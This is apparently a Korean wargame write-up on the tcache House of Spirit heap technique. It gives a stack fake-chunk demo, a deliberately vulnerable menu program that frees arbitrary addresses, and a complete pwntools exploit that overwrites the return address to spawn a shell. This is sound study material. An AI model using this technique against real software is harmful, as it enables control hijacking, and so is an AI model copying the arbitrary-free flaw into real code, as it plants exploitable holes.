Recent Posts
Recent Comments
Link
«   2025/06   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] Tcache House of Spirit + 예제 본문

Hack/DreamHack

[System_Hacking] Tcache House of Spirit + 예제

CIDY 2022. 8. 10. 02:25

heap allocator 관련 문제들이 흥미로운 게 많은 것 같아 더 공부해 보기로 했다.

 

 

*Tcache House of Spirit

이전에 풀었던 문제 중에도 있는데, free함수로 임의의 청크를 해제할 수 있을때 사용하는 기법이다.

https://orcinus-orca.tistory.com/145

 

[System_Hacking] Lv.4: 문제풀이(house_of_spirit)

// gcc -o hos hos.c -fno-stack-protector -no-pie // 64-bit, partial relro, nx #include #include #include #include #include char *ptr[10]; void alarm_handler() {     exit(-1); } void initialize()..

orcinus-orca.tistory.com

 

// gcc -o spirit1 spirit1.c -no-pie
#include <stdio.h>
#include <stdlib.h>
int main()
{
	long long fake_chunk[10] = {0,};
	fake_chunk[0] = 0;
	fake_chunk[1] = 0x31;
	fake_chunk[2] = 0x41414141;
	free(&fake_chunk[2]);
	char *fake_alloc = malloc(0x20);
	printf("fake chunk: %p\n", fake_alloc);
}

 

위 코드를 보면 스택에 fake chunk를 구성했다. 8바이트 단위 배열을 만든 다음 [0]과 [1]에 청크 헤더를 만든 뒤 해제하고, 0x20만큼 malloc해주면(헤더 크기를 뺀 값이다.) 해제했던 스택 영역의 가짜 청크가 할당된 것을 볼 수 있다. 

 

(parseheap으로 봤을때도 항상 청크 사이즈는 16의 배수에서 1바이트씩 많았는데, 문제풀 때 그냥 16배수로 만들어도 별 문제가 없긴 했다... 이유는 잘 모르겠음....)

 

fake chunk: 0x7fff88a0adf0

 

↑실행 결과(주소가 스택 영역임)

 

이를 이용하면 bof를 일으킬 수 있는데, 가짜 청크 헤더를 만들 때 사이즈에 적당히 큰 값을 주고, 해제 후 재할당하면서 bof를 일으킬 수 있게 되는 것이다.

 

 

*예제

// gcc -o spirit2 spirit2.c -no-pie
// canary, nx, partial relro
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell()
{
	system("/bin/sh");
}
int main()
{
	setvbuf(stdin,0,2,0);
	setvbuf(stdout,0,2,0);
	char *ptr[10] = {0,};
	long long idx = 0;
	size_t size = 0;
	long long index = 0;
	size_t address = 0;
	int i = 0;
	size_t *ptr_size[10] = {0,};
	printf("%p\n", &size);
	while(1) {
		printf("1. Add\n");
		printf("2. Free\n");
		printf("3. Edit\n");
		printf(">");
		scanf("%d",&idx);
		switch(idx) {
			case 1:
				if( i >= 10 ) {
					break;
				}
				printf("Size: ");
				scanf("%llu",&size);
				ptr[i] = malloc(size);
				ptr_size[i] = size;
				i++;
				break;
			case 2:
				printf("Address: ");
				scanf("%lld", &address);
				free(address);
				break;
			case 3:
				printf("Index: ");
				scanf("%llu", &index);
				read(0, ptr[index], ptr_size[index]);
				break;
			default:
				return 0;
		}
	}
	return 0;
}

 

 

Alloc -> 입력한 사이즈만큼 할당

Free -> 입력 주소 해제

Edit -> 입력 인덱스의 내용물 수정

 

+ 스택 영역 주소 제공

 

스택에 쌓여있는 순서는

 

i: rbp-0xd4 ~ rbp-0xd0

idx: rbp-0xd0 ~ rbp-0xc8

size: rbp-0xc8 ~ rbp-0xc0

index: rbp-0xc0 ~ rbp-0xb8

address: rbp-0xb8 ~ rbp-0xb0

ptr[ ]: rbp-0xb0 ~ rbp-0x60

ptr_size[ ]: rbp-0x60 ~ rbp-0x10

dummy

canary

sfp

ret

 

이고, 내 목적은 ret을 giveshell로 덮고 카나리를 건드리지 않은 채로 리턴하는 것이다.

 

사이즈 0x41로 하나 할당 -> size == ptr_size[0] == 0x41상태 -> size + 8주소 해제(청크로 인식) -> 0x30으로 하나 할당 -> 스택 영역이 청크로 할당됨 -> ptr[0] 을 ret주소로 덮어야 카나리 안 건드리고 ret만 깔끔하게 덮을 수 있음 -> edit으로 ptr[0]자리에 ret써줌 -> 다시 edit으로 giveshell을 ret에 덮어씌움 -> 스위치의 디폴트 이용해서 리턴시키기

 

from pwn import *

p = process("./spirit")
e = ELF("./spirit")

def Add(size):
    p.sendlineafter(b">", b"1")
    p.sendlineafter(b": ", str(size))
    
def Free(addr):
    p.sendlineafter(b">", b"2")
    p.sendlineafter(b": ", str(addr))
    
def Edit(idx, data):
    p.sendlineafter(b">", b"3")
    p.sendlineafter(b": ", str(idx))
    p.send(data)

size_addr = int(p.recvline()[:-1], 16)
print(hex(size_addr))

Add(0x61)
Free(size_addr + 0x8)
Add(0x50)
Edit(1, b"A" * 0x10 + p64(size_addr + 0xd0))
Edit(0, p64(e.sym['giveshell']))

p.sendlineafter(b">", b"4")

p.interactive()